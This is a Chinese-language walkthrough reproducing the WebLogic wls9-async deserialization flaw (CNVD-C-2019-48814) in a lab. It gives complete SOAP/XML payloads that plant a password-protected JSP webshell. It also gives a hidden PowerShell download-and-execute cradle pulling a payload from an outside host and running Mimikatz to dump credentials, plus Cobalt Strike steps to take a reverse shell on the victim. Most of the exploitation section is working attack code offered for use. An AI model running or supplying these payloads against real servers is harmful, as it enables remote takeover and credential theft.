CNVD-C-2019-48814 WebLogic wls9-async 反序列化漏洞
0x01 漏洞介绍
中国民生银行红蓝对抗演习时,红队使用这个0day,拿下防守方的服务器
该漏洞存在于wls9-async组件,这个组件主要作用是异步通讯服务,攻击者可以向/—async/AsyncResponseSerce路径下传入构造好的恶意XML格式的数据,传入的数据在服务器端反序列化,执行1其中的恶意代码,从而可以getshell。
序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象
0x02 影响版本
- weblogic 10.3.6.0
- weblogic 12.1.3.0.0
- weblogic 12.2.1.1.0
- weblogic 12.2.1.2.0
0x03 环境搭建
1 环境准备
(1) kali
(2) windows server 2008 R2(192.168.4.106)
(3)jdk(1.8版本)
(4)weblogic服务器的安装包12.1.3.0
2. 服务器上安装jdk,然后配置环境变量,在cmd下输入jacac 或者java -versoon能返回正常信息说明配置正确
3. 安装weblogic:把下载的weblogic安装包放到jdk的bin目录下,cd到jdk的bin目录下执行安装命令
java -jar fmw_12.1.3.0.0_wls.jar
然后会弹出weblogic的安装引导,完成安装后一会就进入到默认配置环节,配置后点击startweblogic启动服务器即可。
4 完成上述步骤后,使用浏览器访问下面的url: ip :7001/console/logic/LoginForm.jsp
http://192.168.4.106:7001/console/login/LoginForm.jsp出现以下页面说明环境搭建成功
0x04 漏洞复现
1.判断是否存在漏洞,访问http://192.168.4.106:7001/_async/AsyncResponseService
若出现这样的页面说明可能存在漏洞
2.使用nmap扫描。使用脚本weblogic-wls9-async.nse(脚本需要自己导入,从网上下载后放到/usr/shar/nmap的script的目录下)
使用命令 nmap --script=weblogic-wls9-async.nse 192.168.4.106
已经扫描出漏洞,确认漏洞是真实存在的
3.进行漏洞利用,使用bp拦截/—async/AsyncResponseService数据包发送到respeater中,修改method的,修改新增字段的值,将content-type修改成text/xml
在post的data中添加下面李炎的poc
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.xmlDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.jsp</string>
<void method="println"><string><![CDATA[
<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>]]>
</string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
返回值如下:
4.成功后访问:http://192.168.4.106:7001/bea_wls_internal/webshell.jsp?pwd=123&cmd=whoami
可以看到已经拿到shell,尝试查询系统信息
http://192.168.4.106:7001/bea_wls_internal/webshell.jsp?pwd=123&cmd=systeminfo
这就已经完成对weblogic的简单利用
0x05 使用cs来反弹shell
使用payload的来源
[https://github.com/SkyBlueEternal/CNVD-C-2019-48814-CNNVD-201904-961]
该shell只能用于windows系统
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.15.128:80/a'))"; Invoke-Mimikatz -DumpCreds"</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
- 开启cobalt strike 创建lister
2.点击攻击使用web脚本传递
3 生成powershell
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://103.115.XX.XXX:80/b'))"
将其插到对应payload的对应位置
4.使用bp将payload上传到服务器上 ,可以看到肉鸡成功上线
上一篇: weblogic内存过大排查